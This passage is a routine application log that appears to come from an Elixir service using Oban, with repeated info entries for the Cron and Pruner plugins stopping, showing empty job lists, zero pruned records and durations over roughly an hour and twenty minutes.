{"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:19.052 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:49.054 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.597 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:19.056 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:49.058 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.598 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:19.060 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:49.062 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.599 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:19.064 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:49.066 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.600 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:19.068 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:49.070 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.601 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:19.072 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:49.074 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.602 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:19.076 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:49.078 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.603 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:19.080 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:49.082 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.604 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:19.084 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:49.086 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.605 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:19.088 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:49.090 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.606 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:19.092 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:49.094 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.607 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:19.096 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:49.098 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.608 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:19.100 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:49.102 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.609 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:19.105 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:49.107 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.610 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:19.109 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:49.111 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.611 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:19.113 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:49.115 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.612 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:19.117 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:49.119 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.613 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:19.121 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:49.123 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.614 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:19.125 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:49.127 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.615 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:19.129 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:49.131 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.616 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:19.133 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:49.135 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.617 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:19.137 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:49.139 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.618 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:19.141 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:49.143 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.619 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:19.145 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:49.147 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.620 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:19.149 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:49.151 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.621 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:19.153 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:49.155 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.622 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:19.157 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:49.159 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.623 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:19.161 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:49.163 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.624 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:19.165 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:49.167 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.625 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:19.169 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:49.171 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.626 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:19.174 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:49.176 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.627 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:19.178 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:49.180 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.628 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:19.183 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:49.185 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.629 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:19.187 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:49.189 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.631 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:19.191 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:49.193 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.632 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:19.195 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:49.197 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.633 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:19.198 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:49.201 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.634 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:19.203 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:49.205 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.636 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:19.207 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:49.209 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.637 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:19.211 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:49.214 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.638 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:19.216 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:49.218 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.639 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:19.220 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:49.222 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.640 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:19.224 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:49.226 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.641 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:19.228 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:49.230 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.642 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:19.232 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:49.234 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.643 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:19.236 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:49.238 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.644 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:19.240 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:49.242 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.645 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:19.245 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:49.247 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.646 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:19.249 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:49.251 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.647 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:19.253 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:49.255 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.648 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:19.257 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:49.259 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.649 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:19.261 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:49.263 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.650 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:19.265 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:49.267 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.651 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:19.269 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:49.271 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.652 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:19.273 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:49.275 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.653 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:19.277 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:49.279 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.654 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:19.281 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:49.283 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.656 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:19.285 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:49.287 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.657 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:19.289 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:49.291 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.658 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:19.294 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:49.297 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.660 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:19.299 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:49.301 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.661 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:19.303 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:49.305 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.662 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:19.307 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:49.309 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.663 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:19.311 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:49.313 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.664 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:19.315 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:49.317 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.665 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:19.319 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:49.321 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.666 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:19.323 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:49.325 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.667 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:19.327 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:49.329 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.668 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:19.331 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:49.333 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.669 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:19.335 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:49.337 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.670 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:19.339 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:49.341 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.671 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:19.343 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:49.345 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.672 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:19.347 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:49.349 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.673 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:19.351 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:49.353 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.674 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:19.355 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:49.357 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.675 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:19.359 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:49.361 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.676 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:19.363 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:49.365 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.677 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:19.367 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:49.369 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.678 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:19.371 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:49.373 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.679 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:19.375 [info] 